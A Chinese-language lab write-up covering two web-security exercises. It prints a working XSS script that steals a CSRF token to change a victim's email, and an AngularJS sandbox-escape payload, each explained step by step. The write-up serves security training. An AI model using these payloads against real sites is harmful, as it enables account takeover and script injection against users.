Lab 24:利用 xss 繞過 csrf 防御
依然是留言板的問題可以執行<h1>
標簽
進入修改郵箱的界面,修改抓包
這里構造修改郵箱的代碼
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];var changeReq = new XMLHttpRequest();changeReq.open('post', '/my-account/change-email', true);changeReq.send('csrf='+token+'&email=hack@you.com')
};
</script>
<!-- XMLHttpRequest:用于向服務器發送 HTTP 請求,獲取或提交數據。
req.open('get', '/my-account', true)發送 GET 請求到 /my-account 頁面,獲取用戶的賬戶信息(包含 CSRF 令牌)
handleResponse 函數解析服務器返回的 HTML 內容,通過正則表達式 name="csrf" value="(\w+)" 提取 CSRF 令牌
使用竊取的 CSRF 令牌,構造 POST 請求到 /my-account/change-email,將用戶郵箱修改為 hack@you.com
-->
Lab 25:無需字符串即可逃逸 AngularJS 沙盒的反射型 XSS
當我們輸入 1 時,看到我們輸入的內容被放入$scope.query[key]
中,因為key='search'
,這里就是通過訪問鍵值對的方式獲取鍵的值。類似下面的代碼
lab 中這段 js 關鍵部分在于$parse
的使用,$parse
是 angularJS 中用來將字符串解析為可執行函數,通過$parse(key)($scope.query)
將search
的值傳給value
,通過{{value}}
顯示到頁面<h1>
標簽中。
如何能控制key
,從而讓$parse
執行我們輸入的 key,可以嘗試用&
繼續添加參數測試
可以看到我們輸入的第二組key:value
對出現了,我們可以控制key
angularJS 中,{{}}
表達式可以用來求值,如{{ 1+1 }}
可以得到 2,這里我們可以輸入2+2=3
,+
需要 url 編碼為%2B
經過測試,發現我們輸入的key
被計算了,頁面顯示了 key
的計算結果,嘗試輸入 alert()
不能彈窗,因為這里存在沙箱機制,不允許運行此函數,這里需要繞過沙箱機制執行 alert
訪問 xss check-sheetCross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
可以看到關于 angularJS 繞過沙箱的好多方法
本 lab 給出的解決方法?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
這里通過toString().constructor.prototype.charAt=[].join
將原型污染,導致 charAt
返回整個字符串而非單個字符
fromCharCode(120,61,97,108,101,114,116,40,49,41)
解碼后得到字符串:x=alert(1)
toString().constructor
指向Function
構造函數。
因此這部分等價于:Function("x=alert(1)")()
,即創建并執行一個包含x=alert(1)
的函數。
由于 charAt
被覆蓋,isIdent()
在檢查多字符輸入(如 x=alert(1)
)時,實際比較的是整個字符串與單個字符的規則。根據邏輯,任何字符串(如 x=alert(1)
)都會被誤判為合法標識符,導致 isIdent()
始終返回 true
isIdent = function(ch) {return ('a' <= ch && ch <= 'z' || // 小寫字母'A' <= ch && ch <= 'Z' || // 大寫字母'_' === ch || ch === '$'); // 下劃線或美元符號
}
利用 orderBy
過濾器執行惡意表達式 x=alert(1)
[1] | orderBy:'x=alert(1)'
為方便理解請看下面示例代碼
<head><script src="https://cdn.bootcdn.net/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
</head>
<div ng-app="myApp" ng-controller="myCtrl"><p ng-repeat="item in items | orderBy:'price'">${{ item.price }}</p>
</div>
<!-- | 前面的是傳入的數據,orderBy后面是排序的依據,漏洞點就是這里傳入了angularJS表達式函數被執行 -->
<script>var app = angular.module('myApp', []);app.controller('myCtrl', function($scope) {$scope.items = [{ price: 2.5 },{ price: 1.5 },{ price: 3.0 }];});
</script>
運行結果
生成字符串 "x=alert(1)"
,避免直接使用引號,通過 toString().constructor
訪問 String
構造函數,繞過對 String.fromCharCode
的直接調用限制。
toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d